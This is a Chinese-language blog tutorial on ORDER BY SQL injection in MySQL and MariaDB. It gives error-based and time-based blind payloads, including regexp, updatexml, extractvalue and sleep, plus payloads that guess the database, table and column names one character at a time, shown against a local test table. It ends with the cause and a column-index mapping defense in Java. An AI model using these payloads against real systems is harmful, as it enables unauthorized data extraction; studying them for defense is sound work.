• Order by注入


    Order by注入

    order by注入顾名思义可控参数在oder by后,可能出现在排序功能,想象一个功能可以根据用户输入的参数选择排名榜单,例如通过商品的名称select * from test01 order by [name];或者通过商品的价格select * from test01 order by [price];

    例如select * from test01 order by [args];

    可以通过下面几个方法测试是否存在注入点:

    利用报错

    可以构造一些报错语句得到相关信息

    regexp

    select 1 regexp if(1=1,1,0x00) #正常显示
    select 1 regexp if(1=2,1,0x00) #出现报错
    
    • 1
    • 2

    这个在10.5.12-MariaDB-1已经不行了,而在mysql5.7还能使用

    #10.5.12-MariaDB-1均正常显示
    MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jack     | 123456 |
    |  3 | jackk    | 678910 |
    +----+----------+--------+
    
    MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jack     | 123456 |
    |  3 | jackk    | 678910 |
    +----+----------+--------+
    
    #mysql5.7.18则会报错
    mysql> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jackk    | 678910 |
    |  4 | jack     | 123456 |
    +----+----------+--------+
    3 rows in set (0.00 sec)
    
    mysql> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
    ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    updatexml

    这个就还是可以的

    updatexml(1,if(1=1,1,user()),1) #正常显示
    updatexml(1,if(1=2,1,user()),1) #出现报错
    
    • 1
    • 2

    extractvalue

    这个也是好用的

    extractvalue(1,if(1=1,1,user()),1) #正常显示
    extractvalue(1,if(1=2,1,user()),1) #出现报错
    
    • 1
    • 2

    当报错显示被BAN掉之后可以考虑时间盲注

    利用时间盲注

    注意如果直接if(1=2,1,sleep(2))sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击。所以sleep时间可以设置的小一点。

    if(1=1,1,sleep(time)) #正常显示
    if(1=2,1,sleep(time)) #睡眠 (time*表中条目) 秒
    
    • 1
    • 2

    数据猜解

    这一部分的核心跟where注入没有什么区别。

    数据库名猜解

    #mysql5.7.18
    mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x74),1,0x00));
    ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
    
    mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x6D),1,0x00));
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jackk    | 678910 |
    |  4 | jack     | 123456 |
    +----+----------+--------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    而我的数据库10.5.12-MariaDB-1则不能使用regexp来进行猜解,所以可以用updexmlextractvalue

    #mysql5.7.18
    MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x74),1,user()),1));
    ERROR 1105 (HY000): XPATH syntax error: '@localhost'
    MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x6D),1,user()),1));
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jack     | 123456 |
    |  3 | jackk    | 678910 |
    +----+----------+--------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    其实利用思路没啥区别了,然后下面的几个网上的payload只在mysql5.5成功,往上的5.7就不行了。

    猜解表名

    select * from table order by (select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00));
    
    • 1

    猜解列名

    select * from table order by (select 1 regexp if(substring((select concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x746573743031 limit 0,1),1,1)=0x70,1,0x00));
    
    • 1

    原因是下面几个payload在往上版本用NULL代替了报错。

    mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00);
    +------------------------------------+
    |                                  1 |
    +------------------------------------+
    mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x64),1,0x00);
    +------------------------------------+
    |                               NULL |
    +------------------------------------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    select * from table order by NULLselect * from table order by 1的结果是一样的。

    MariaDB [mysql]> select * from test01 order by NULL;
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jack     | 123456 |
    |  3 | jackk    | 678910 |
    +----+----------+--------+
    
    MariaDB [mysql]> select * from test01 order by 1;
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jack     | 123456 |
    |  3 | jackk    | 678910 |
    +----+----------+--------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    产生order by的原因

    order by后的参数不能被单引号包裹,这会被解析成一个单纯的字符串。

    mysql> select * from test01 order by passwd;
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  4 | jack     | 123456 |
    |  2 | jackk    | 678910 |
    +----+----------+--------+
    
    mysql> select * from test01 order by 'passwd';
    +----+----------+--------+
    | id | username | passwd |
    +----+----------+--------+
    |  1 | admin    | 123456 |
    |  2 | jackk    | 678910 |
    |  4 | jack     | 123456 |
    +----+----------+--------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    可以发现select * from test01 order by 'passwd'并没有按照预期进行排序。

    而在预编译中如果直接在select * from test01 order by ?中用passwd占位会把passwd当成字符串而变成select * from test01 order by 'passwd'

    所以会出现使用字符串拼接的情况,而有字符串拼接就有了SQL注入的可能。

    String orderString = "passwd";
    String sql01 = "select * from test01 order by" + orderString;
    PreparedStatement preSql01 = conn.prepareStatement(sql01);
    
    • 1
    • 2
    • 3

    而这时的预编译其实相当于多次一举了,我们的恶意输入也将一同被预编译。

    防御的手段第一个就是常见的过滤检查,限制非法输入。另一种就是使用序号来代替字段名

    例如passwd是第3列我们可以用select * from test01 order by 3来替代。

    至于编程实现也很简单,可以设置一个枚举或者MAP变量,然后拿用户输入passwd进行比对返回序号,然后拿序号预编译。

    int index = map.get("passwd"); //从map获取对应序号
    String sql02 = "select * from test01 order by ?";
    PreparedStatement preSql02 = conn.prepareStatement(sql02);
    preSql02.setInt(1,index);
    
    • 1
    • 2
    • 3
    • 4
  • 相关阅读:
    MySQL 8.0.13升级到8.0.35记录 .NET
    Linux Command nmap Examples
    【玩转STL】STL的简介和string类用法和接口讲解(源码解析)
    MFC 简单绘图与文本编辑
    C# OpenCvSharp 图像处理函数-颜色通道-cvtColor
    mapstruct学习及使用较全
    纸牌游戏新版小猫钓鱼设计制作
    .NET周刊【5月第1期 2024-05-05】
    倍福控制器搭建IgH环境
    QT找不到ffmpeg链接库解决方法
  • 原文地址:https://blog.csdn.net/qq_40710190/article/details/125551423